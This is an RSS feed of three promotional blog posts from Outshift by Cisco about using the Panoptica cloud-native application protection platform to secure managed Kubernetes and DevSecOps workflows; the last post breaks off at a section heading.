<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Outshift By Cisco</title>
    <description>The latest articles on Forem by Outshift By Cisco (@ciscoemerge).</description>
    <link>https://forem.com/ciscoemerge</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Forganization%2Fprofile_image%2F6515%2F957a67de-ffdd-4365-a8d7-8d47361dc0c1.png</url>
      <title>Forem: Outshift By Cisco</title>
      <link>https://forem.com/ciscoemerge</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/ciscoemerge"/>
    <language>en</language>
    <item>
      <title>Exploring Managed Kubernetes and the Integration of CNAPP</title>
      <dc:creator>Jan Schulte</dc:creator>
      <pubDate>Thu, 22 Feb 2024 05:00:00 +0000</pubDate>
      <link>https://forem.com/ciscoemerge/exploring-managed-kubernetes-and-the-integration-of-cnapp-4bi7</link>
      <guid>https://forem.com/ciscoemerge/exploring-managed-kubernetes-and-the-integration-of-cnapp-4bi7</guid>
      <description>&lt;p&gt;As a cloud-native app developer, you likely use Kubernetes to help you orchestrate and operate many moving pieces. To deploy, you might also use a managed Kubernetes environment from a cloud provider. The conveniences of managed Kubernetes are numerous. But so are the accompanying security challenges.&lt;/p&gt;

&lt;p&gt;The complexity of many Kubernetes resources—such as networks, VMs, and pods—is abstracted away, obscuring many security vulnerabilities across a vast attack surface. What does this mean for you? You’ll need a solution to help address the multiple security concerns that you might not be equipped to handle on your own.&lt;/p&gt;

&lt;p&gt;That’s why we’re looking at the Cloud-Native Application Protection Platform (CNAPP). It’s an all-in-one tool that can holistically address the security challenges of a managed Kubernetes infrastructure. With it, you can protect your cloud infrastructure, dedicated VMs, serverless, and Kubernetes applications.&lt;/p&gt;

&lt;p&gt;Let’s start with the basics.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Is Managed Kubernetes?
&lt;/h2&gt;

&lt;p&gt;Kubernetes orchestrates your application containers. You can use Kubernetes to deploy bespoke infrastructure to an environment, and it will help your application scale vertically and horizontally.&lt;/p&gt;

&lt;p&gt;Most major cloud providers offer a managed Kubernetes solution. In this approach, you can offload a sizable portion of the operational complexity, depending on the cloud provider that runs the control plane. For many software devs, this also makes sense from a security perspective—you can offload security concerns and implement best practices by default (such as keeping the control plane up to date and allowing it to scale appropriately).&lt;/p&gt;

&lt;p&gt;Some examples of managed Kubernetes offerings include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aws.amazon.com/eks/features/"&gt;&lt;u&gt;Elastic Kubernetes Service (EKS)&lt;/u&gt;&lt;/a&gt; from Amazon Web Services (AWS)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://cloud.google.com/kubernetes-engine?hl=en"&gt;&lt;u&gt;Google Kubernetes Engine (GKE)&lt;/u&gt;&lt;/a&gt; from Google Cloud Platform (GCP)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://azure.microsoft.com/en-us/products/kubernetes-service"&gt;&lt;u&gt;Azure Kubernetes Service (AKS)&lt;/u&gt;&lt;/a&gt; from Microsoft Azure&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;However, just because you can offload some of your security concerns to your managed Kubernetes provider, this doesn’t mean &lt;em&gt;all&lt;/em&gt; your security problems are solved. Let’s remember that, in a managed Kubernetes cluster, security is critical:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Clusters can be accessible from the internet via a public-facing ingress.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Clusters can run sensitive workloads, handling financial transactions or processing customer information.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Even in a managed offering, Kubernetes has multiple attack vectors (such as networking, compute, and the Kubernetes API layer).&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A CNAPP can mitigate the additional security concerns. Just as control plane management may be better left to the experts (the cloud provider), the CNAPP takes on the role of expert security engineers.&lt;/p&gt;

&lt;h2&gt;
  
  
  What a CNAPP Offers Software Developers
&lt;/h2&gt;

&lt;p&gt;There are many things that a CNAPP brings to the table, so let’s highlight its important functions, especially as they relate to developers using managed Kubernetes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Single source of truth
&lt;/h3&gt;

&lt;p&gt;Tool sprawl is a thorn in the side of most DevOps teams. When you build up an overflowing box of tools—one to handle this job, one to handle that job, and many that partially overlap in function—frustration abounds.&lt;/p&gt;

&lt;p&gt;Using multiple security tools forces engineers to reconcile information across systems. This adds to their mental load and slows down productivity. On top of this, tool sprawl can lead to security gaps. With so many tools in its toolbox, a team might mistakenly assume that surely one of those tools has security challenge X covered. But what if their assumption is wrong?&lt;/p&gt;

&lt;p&gt;A CNAPP offers teams a reliable, single platform to handle the security of their entire Kubernetes cluster. The CNAPP can help them identify threats, elevating the most relevant or pressing risks to the top so that teams don’t drown in noise. One platform, which bundles many security tools together in a unified offering with a single UI, can bring clarity to your managed Kubernetes security.&lt;/p&gt;

&lt;h3&gt;
  
  
  Automated compliance controls
&lt;/h3&gt;

&lt;p&gt;For many organizations, maintaining compliance is crucial. There are lots of reasons why:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;To avoid financial penalties or damaged business reputation for mishandling data&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;To win or retain contracts with government agencies or similarly regulated industries&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;To demonstrate responsibility through accountability to customers or regulatory bodies&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To validate their compliance, most organizations depend on reports and automated software checks, which are benchmarks CNAPP can help guarantee. Kubernetes Security Posture Management (KSPM) is a key offering from many CNAPPs, guiding what security controls will help reduce security risks. KSPM can also enforce policies or highlight vulnerabilities, giving your company the tools to comply.&lt;/p&gt;

&lt;h2&gt;
  
  
  How CNAPPs Help with Managed Kubernetes Challenges
&lt;/h2&gt;

&lt;p&gt;A &lt;em&gt;managed&lt;/em&gt; Kubernetes cluster refers only to the control plane and additional plugins a cloud provider might offer. But cloud engineers must take responsibility for the remaining parts of the infrastructure. That’s how the shared responsibility model works. Identifying and visualizing security issues are not part of the managed offering—those responsibilities fall on the user.&lt;/p&gt;

&lt;p&gt;As an example, let’s think about identity and access management (IAM). Even though you use managed Kubernetes with AWS EKS, you’re still responsible for properly configuring IAM roles and policies to secure access. IAM misconfigurations can be a huge headache for developers—especially those who aren’t accustomed to wearing the security professional hat.&lt;/p&gt;

&lt;p&gt;What are some examples of IAM misconfigurations or poor practices?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Over permissioning: A user or service is given more permission to access a resource than is necessary to perform their task. This violates the principle of least privilege. For example, consider a service that needs S3 bucket read access to verify the presence of certain files. Giving that service DeleteObject permissions would be over permissioning.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Not using role-based access control (RBAC): Out of either expediency or ignorance, some developers may simply attach policies directly to an IAM user. Best practices would dictate the use of IAM roles instead, offering a more organized approach to access management while reducing the risk of unauthorized actions.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The dreaded Allow *: This is a specific case of over permissioning that’s likely the result of expediency (or laziness). When crafting an IAM policy, the Allow effect is coupled with the * action, essentially saying, “Allow this person to do anything they want.” You would be surprised how many developers are guilty of having done this.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Among the many ways that a CNAPP will protect your cloud-native applications and environments, it bundles in Cloud Security Posture Management (CSPM) to monitor for and identify cloud misconfiguration vulnerabilites in your multi-cloud (and hybrid-cloud) environments. Your cloud-native application will be chock-full of security policies—as they should be. But are your policies properly written and configured?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;In addition to IAM policy misconfigurations, a CNAPP with CSPM will detect:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Use of default cloud security settings, which are often insecure.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Publicly exposed data storage buckets, containers, or assets&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Data storage configurations without encryption in place&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Authentication setups without MFA&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;… and more.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Bundle in Kubernetes Security Posture Management (KSPM), and your CNAPP will also detect Kubernetes cluster misconfigurations that could lead to additional security vulnerabilities and threats.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Securing Your Managed Kubernetes Setup with Panoptica
&lt;/h2&gt;

&lt;p&gt;Panoptica’s &lt;a href="https://www.panoptica.app/wp-content/uploads/2023/06/Panoptica_whitepaper1_060523.pdf"&gt;&lt;u&gt;CNAPP solution&lt;/u&gt;&lt;/a&gt; makes securing a managed Kubernetes cluster easy, offering:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Automatic security configuration for multi-cloud managed Kubernetes&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Enforcement of the principle of least privilege&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A single, centralized platform with a user-friendly interface&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Rich visualizations with actionable guidance, reducing noise and eliminating alert fatigue&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Attack path analysis and use of MITRE’s ATT&amp;amp;CK Framework for threat prioritization&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Whether you run workloads within Azure, AWS, or GCP (or any other major cloud providers), Panoptica brings you easy, out-of-the-box support for all clusters. If supporting your customers entails running within multiple clouds, you can still enjoy centralized security with Panoptica.&lt;/p&gt;

&lt;p&gt;When it comes to the security posture for a managed Kubernetes cluster, ensuring alignment across your teams can be challenging. &lt;a href="https://www.panoptica.app/features/kubernetes-security"&gt;&lt;u&gt;Panoptica’s CNAPP&lt;/u&gt;&lt;/a&gt; allows you to enforce security best practices from one location. Installation is simple, using a single pod deployment (&lt;a href="https://docs.panoptica.app/docs/kubernetes-deployment"&gt;&lt;u&gt;view the Helm chart&lt;/u&gt;&lt;/a&gt;).&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Although managed Kubernetes reduces the amount of overhead needed to run a Kubernetes cluster within the cloud, it certainly doesn’t eliminate it. Part of what’s left for you to deal with is managing and securing the applications running within the cluster. Instead of cobbling together multiple, disparate tools to wrangle multiple security concerns, Panoptica provides automation and container security for developers and engineers alike.&lt;/p&gt;

&lt;p&gt;If you’re interested in leveling up your managed Kubernetes security, &lt;a href="https://www.panoptica.app/sign-up"&gt;&lt;u&gt;sign up to use Panoptica for free&lt;/u&gt;&lt;/a&gt;, and explore how Panoptica’s CNAPP will make your cluster safer.&lt;/p&gt;

</description>
      <category>kubernetes</category>
      <category>cnapp</category>
      <category>security</category>
    </item>
    <item>
      <title>CNAPP and Kubernetes Securing Your Cloud-Native Setup</title>
      <dc:creator>Jan Schulte</dc:creator>
      <pubDate>Thu, 15 Feb 2024 05:00:00 +0000</pubDate>
      <link>https://forem.com/ciscoemerge/cnapp-and-kubernetes-securing-your-cloud-native-setup-28pa</link>
      <guid>https://forem.com/ciscoemerge/cnapp-and-kubernetes-securing-your-cloud-native-setup-28pa</guid>
      <description>&lt;p&gt;Kubernetes is the de facto container orchestration platform for cloud-native applications. But when you consider the complexity and layers of abstraction involved with Kubernetes environments, it’s not surprising how vulnerable your applications can be to various security threats. In a recent &lt;a href="https://www.redhat.com/en/resources/state-kubernetes-security-report-2023"&gt;&lt;u&gt;security report&lt;/u&gt;&lt;/a&gt;, Red Hat revealed that 93% of respondents encountered at least one security incident in their Kubernetes environments.&lt;/p&gt;

&lt;p&gt;Dev and DevOps teams are under a lot of pressure to make sure that their workloads, data, and applications are protected. If the resources aren’t there, then the task of ensuring application security falls in the lap of &lt;em&gt;software&lt;/em&gt; experts who may not be &lt;em&gt;security&lt;/em&gt; experts. The dev team effectively becomes the security team.&lt;/p&gt;

&lt;p&gt;What’s a robust security solution that integrates seamlessly with a Kubernetes setup? The answer is the CNAPP.&lt;/p&gt;

&lt;p&gt;A cloud-native application protection platform (CNAPP) provides a unified view of security across your cloud-native stack—and that includes Kubernetes. In this post, we’ll explore how CNAPPs help you harden your cloud-native security posture, especially within the context of a Kubernetes environment.&lt;/p&gt;

&lt;p&gt;Let’s start by considering some of the biggest threats to your application.&lt;/p&gt;

&lt;h2&gt;
  
  
  Security Threats and Vulnerabilities in Kubernetes
&lt;/h2&gt;

&lt;p&gt;Many developers are unaware that Kubernetes, deployed right out of the box, is insecure. For example, the default behavior of Kubernetes allows pods to receive network traffic from any source and send traffic to any destination. That’s a huge security risk! On top of this, you have visibility challenges because Kubernetes has so many moving parts. And when you deploy your Kubernetes environments to the cloud, you introduce even more security risks.&lt;/p&gt;

&lt;p&gt;It’s a lot to consider, so let’s highlight some of the key factors that make your apps vulnerable.&lt;/p&gt;

&lt;h3&gt;
  
  
  Misconfigurations
&lt;/h3&gt;

&lt;p&gt;A Kubernetes environment with a flawed configuration will expose clusters or grant attackers unauthorized access. Examples of such misconfigurations include overly permissive role-based access control (RBAC) policies, exposed API servers, or unsecured etcd datastores. A misconfigured Kubernetes API server could also allow attackers to execute arbitrary code on the cluster.&lt;/p&gt;

&lt;h3&gt;
  
  
  Container image vulnerabilities
&lt;/h3&gt;

&lt;p&gt;&lt;u&gt;Vulnerable container images&lt;/u&gt; can lead to data breaches or could compromise your entire application stack, potentially allowing attackers to take control of Kubernetes workloads. Developers without a “security first” mindset often take container images for granted, without questioning their integrity or security.&lt;/p&gt;

&lt;h3&gt;
  
  
  Supply-chain attacks
&lt;/h3&gt;

&lt;p&gt;Your cloud-native applications undoubtedly depend on third-party software components. What happens if these dependencies contain compromised code? For example, software running in your application may have malware that exfiltrates data or hijacks resources within your cluster to perform crytocurrency mining. By compromising the dependencies in your applications, hackers can potentially access your Kubernetes clusters. This supply-chain attack lets them introduce further threats to your Kubernetes environments, often undetected.&lt;/p&gt;

&lt;h3&gt;
  
  
  Malware infections
&lt;/h3&gt;

&lt;p&gt;Targeted malware attacks on Kubernetes workloads can lead to data breaches, inoperable systems, or other security incidents. Whether it’s the exfiltration of data from Kubernetes workloads or the launching denial-of-service (DoS) attacks, cyber attackers have good reason to probe every nook and cranny of your setup for weaknesses.&lt;/p&gt;

&lt;p&gt;To seal up any gaps and strengthen your Kubernetes security, CNAPPs come to the forefront.&lt;/p&gt;

&lt;h2&gt;
  
  
  How CNAPPs Enhance Kubernetes Security
&lt;/h2&gt;

&lt;p&gt;CNAPPs play an indispensable role in safeguarding your Kubernetes environment. They help you take a proactive stance against potential security challenges while reducing the noise that often comes with monitoring for security.&lt;/p&gt;

&lt;p&gt;A CNAPP is a bundle of several security tools into a single centralized and unified platform. Panoptica, for example, integrates over a dozen key tools as part of its platform. We’ll highlight several of these tools briefly, but then focus specifically on two important features: attack path analysis and CI/CD integration.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Configuration validation: Incorporates Cloud Security Posture Management (CSPM) and Kubernetes Security Posture Management (KSPM) to analyze configuration files—in cloud environments and Kubernetes clusters—for security misconfigurations.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Container image scanning: Scans container images to detect any known vulnerabilities or malware, thereby preventing the deployment of insecure container images into your Kubernetes environments.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Runtime monitoring: Monitors containers and network activities for abnormal behaviors—such as unauthorized outbound traffic or unusually high resource usage—to detect and remediate anomalies. Integrates Cloud Detection and Response (CDR) with SIEM solutions to help you identify and respond to cloud security incidents in real time.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Isolating compromised workloads: Uses a Cloud Workload Protection Platform (CWPP) to quickly isolate any compromised workloads, prioritizing threats based on risk scores, such as those from the MITRE ATT&amp;amp;CK framework.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Managing cloud permissions: Uses Cloud Infrastructure Entitlement Management (CIEM) to manage cloud permissions and prevent unauthorized access to your Kubernetes workloads. For example, a CNAPP can block an unauthorized employee from changing resource configurations, thus preventing privilege escalation.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Attack Path Analysis
&lt;/h3&gt;

&lt;p&gt;In addition to these tools, Panoptica provides attack path analysis. By looking at the entire context of your cloud-native application, Panoptica can identify the potential paths that an attacker may take to exploit your systems. When it comes to “thinking like an attacker,” attack path analysis is critical for helping you understand where your vulnerabilities are and the level of risk they pose.&lt;/p&gt;

&lt;p&gt;Attack path analysis begins with context-related questions about your components, asking about potential exposures and vulnerabilities. The CNAPP uses these answers to compose graphs, helping to map out visuals of how an attacker might exploit a weakness to burrow through your network. With clear visualizations, CNAPP users can see attack paths and context, giving them the information they need to address risks and put in place proper security measures.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fygzk6ivi0dbskfk0dm5d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fygzk6ivi0dbskfk0dm5d.png" alt="Attack Path Analysis" width="800" height="432"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;CNAPPs also integrate &lt;strong&gt;External Attack Surface Management (EASM)&lt;/strong&gt; to determine the risks from external-facing components of your application. By identifying exposed APIs and services and coupling this information with Kubernetes environment scans, Panoptica can provide you with a clear picture of how your systems are at risk.&lt;/p&gt;

&lt;p&gt;Panoptica prioritizes attack paths based on the likelihood and impact of an exploit. Then, it provides you with recommendations on mitigating the risks associated with each attack path.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdrjpg8qsjuus6b52sovy.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdrjpg8qsjuus6b52sovy.jpg" alt="Vulnerability Overview Graph" width="800" height="481"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  CI/CD Integration
&lt;/h3&gt;

&lt;p&gt;The earlier you can detect security threats to your application, the less expensive (in time, resources, and even financial costs) it will be to address them. Ideally, your cybersecurity tech stack would have robust features to detect and deal with vulnerabilities as your application is being built, long before those vulnerabilities can make their way to production. To make this possible, CNAPPs like Panoptica offer tight integration with your CI/CD pipeline.&lt;/p&gt;

&lt;p&gt;Your CI/CD pipeline can be configured to perform automated checks upon the opening of a pull request. These checks may include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Scan configuration files for security misconfigurations in cloud environments or Kubernetes clusters.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Scan Infrastructure as Code (IaC) artifacts for security issues.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Scan container images for vulnerabilities.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use software bill of materials (SBOMs) to cross-check dependencies against common vulnerabilities and exposures (CVEs) databases.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Perform static application software analysis (SAST) to review application source code for security vulnerabilities or insecure coding practices.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Scan code and configurations for leaked credentials or improper secrets management practices.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Panoptica lets you easily connect your CNAPP to your application repositories, whether they’re hosted on GitHub or GitLab. As Panoptica scans your IaC artifacts, it presents a security risk score based on its security findings.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx6kvb994vi7l2w1paroi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx6kvb994vi7l2w1paroi.png" alt="CI/CD Security" width="800" height="345"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Automating these security checks as part of your CI/CD pipeline ensures that they are performed whenever code is checked in. Failed security checks will halt your pipeline or alert you to take action—before code is released to production.&lt;/p&gt;

&lt;h2&gt;
  
  
  Regain Confidence in your Kubernetes Security
&lt;/h2&gt;

&lt;p&gt;Doing DevSecOps might not be what you signed up for. If you’re not a security expert, but you need to make sure your Kubernetes setup is secure, then you need to depend on tools like CNAPPs.&lt;/p&gt;

&lt;p&gt;When you use a CNAPP like Panoptica to secure your cloud-native application and environment, you’ll gain security confidence through robust tools for container image scanning, Kubernetes configuration analysis, runtime monitoring, and more. You’ll also work within a user-friendly interface that cuts out the noise and prevents alert fatigue. On top of this, Panoptica’s attack path analysis will map out how your application is most exposed and vulnerable, prioritizing the security risks that you need to address with clear and actionable guidance.&lt;/p&gt;

&lt;p&gt;CNAPPs are a powerful tool for securing Kubernetes environments. They offer visibility into security risks, security task automation, and security policy enforcement. Enterprises will continue to face new and increasing cybersecurity threats within Kubernetes environments, so it's imperative to address potential threats with a holistic CNAPP solution, like Panoptica.&lt;/p&gt;

&lt;p&gt;Level up your DevSecOps game by securing your Kubernetes environments with Panoptica. &lt;a href="https://www.panoptica.app/sign-up"&gt;&lt;u&gt;Sign up for a trial&lt;/u&gt;&lt;/a&gt; today.&lt;/p&gt;

</description>
      <category>cnapp</category>
      <category>security</category>
      <category>cloudnative</category>
      <category>kubernetes</category>
    </item>
    <item>
      <title>The Role of CNAPP in Modern DevSecOps</title>
      <dc:creator>Jan Schulte</dc:creator>
      <pubDate>Fri, 09 Feb 2024 05:00:00 +0000</pubDate>
      <link>https://forem.com/ciscoemerge/the-role-of-cnapp-in-modern-devsecops-1mmp</link>
      <guid>https://forem.com/ciscoemerge/the-role-of-cnapp-in-modern-devsecops-1mmp</guid>
      <description>&lt;p&gt;If you're a software developer new to DevSecOps, navigating the complex landscape of security probably pushes you out of your comfort zone. Maybe you’re figuring it out as you go along, hoping that a little bit of luck will keep you a step ahead of the bad guys. Or maybe you’re counting on your work being so obscure you’ll avoid catching the attention of attackers.&lt;/p&gt;

&lt;p&gt;Maybe what you need are some good tools to help you implement security best practices, tools that give you confidence that proper DevSecOps is finally getting done. The cloud-native application protection platform (CNAPP)—an all-in-one solution that consolidates security tools into a single place—is your answer.&lt;/p&gt;

&lt;p&gt;In this post, we’ll look at the role of the CNAPP in helping you to transition smoothly from mere DevOps to actual DevSecOps. We’ll look at how the core components of a CNAPP address modern security risks, simplifying what you need to do to put DevSecOps in place.&lt;/p&gt;

&lt;p&gt;Let’s start by looking at some of those security risks.&lt;/p&gt;

&lt;h2&gt;
  
  
  Understanding the Security Risks in DevOps
&lt;/h2&gt;

&lt;p&gt;Security threats today are not what they used to be. Sure, you’re still susceptible to the common security attacks of old, like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;SQL injection&lt;/strong&gt;: An attack that exploits application or database vulnerabilities through dangerously crafted queries.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cross-site scripting (XSS)&lt;/strong&gt;: An attack in which poorly sanitized user input allows the injection of malicious scripts into your web pages.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Yes, these kinds of attacks are still a thing. But when it comes to your cloud-native applications—distributed across multiple cloud environments and platforms—the range and sophistication of attack techniques can seem overwhelming.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Multi-vector attacks&lt;/strong&gt;: Attackers no longer attack a single and obvious point of failure. Instead, they try to exploit multiple vulnerabilities in your application, across your network, and throughout your infrastructure.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Advanced persistent threats (APTs)&lt;/strong&gt;: Some attackers gain unauthorized access and lurk undetected for an extended period. They probe around here and poke around there. Then slowly, they get around other security measures to set up more impactful attacks.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Zero-day exploits&lt;/strong&gt;: Some attacks target undisclosed vulnerabilities before you even have a CVE and a security patch.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Today’s cyber attacks far outpace traditional cybersecurity measures.&lt;/p&gt;

&lt;h2&gt;
  
  
  Transitioning from DevOps to DevSecOps
&lt;/h2&gt;

&lt;p&gt;That’s why modern software development has gravitated toward &lt;em&gt;shift left security&lt;/em&gt;, an approach that integrates strong security measures earlier in the software development life cycle (SDLC). How? Here are just a few examples:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Code scanning&lt;/strong&gt;: Use automated tools to scan your code for security vulnerabilities as you write it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Automated testing&lt;/strong&gt;: Run security tests as part of your CI/CD pipeline to catch issues in your application before they reach production.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Security as code (SaC)&lt;/strong&gt;: Codify your security policies to define, manage, and track them.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Adopting these practices is a good start, and a CNAPP can help you get there. But the CNAPP brings a lot more, especially when we get into more complex security areas, such as software supply chain security, identities and access management, and cloud workloads.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Is a CNAPP?
&lt;/h2&gt;

&lt;p&gt;A CNAPP is a comprehensive platform designed to achieve cloud-native application security. It consists of several key components, bundled together to form a single, unified security solution. For example, in Panoptica (the CNAPP solution from Outshift), you’ll have components that include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cloud Security Posture Management (CSPM)&lt;/strong&gt;: Monitors for cloud misconfigurations to ensure security and compliance.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cloud Workload Protection Platform (CWPP)&lt;/strong&gt;: Monitors cloud-based workloads and provides runtime protection.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cloud Infrastructure Entitlement Management (CIEM)&lt;/strong&gt;: Manages permissions and entitlements within your cloud environment.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Software supply chain security&lt;/strong&gt;: Works with software bill of materials (SBOMs) to ensure dependency components in your software (such as third-party or open-source libraries) are free of security vulnerabilities.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;API security&lt;/strong&gt;: Monitors and protects API endpoints, which can be entryways for attackers into your applications and systems.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Risk mitigation and resolution&lt;/strong&gt;: Identifies and prioritizes potential risks, providing actionable insights for resolution.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let’s consider an example. Imagine an attacker gains initial access to your system through a successful phishing attack on one of your contractors. The attacker then tries to escalate their privileges to access other parts of your system. The attacker wants to move laterally across your cloud infrastructure, searching for valuable resources or sensitive data.&lt;/p&gt;

&lt;p&gt;Here’s where the CNAPP proves valuable. Before the phishing attack even occurred, the CIEM component enforced the principle of least privilege, ensuring that the targeted employee had only the minimal permissions needed to perform their tasks. Then, when an attack does occur, the CIEM component detects unusual activity and permission requests. Coupled with automated alerts, the CNAPP would notify you immediately so that you could take swift action.&lt;/p&gt;

&lt;h2&gt;
  
  
  How CNAPPs Simplify DevSecOps
&lt;/h2&gt;

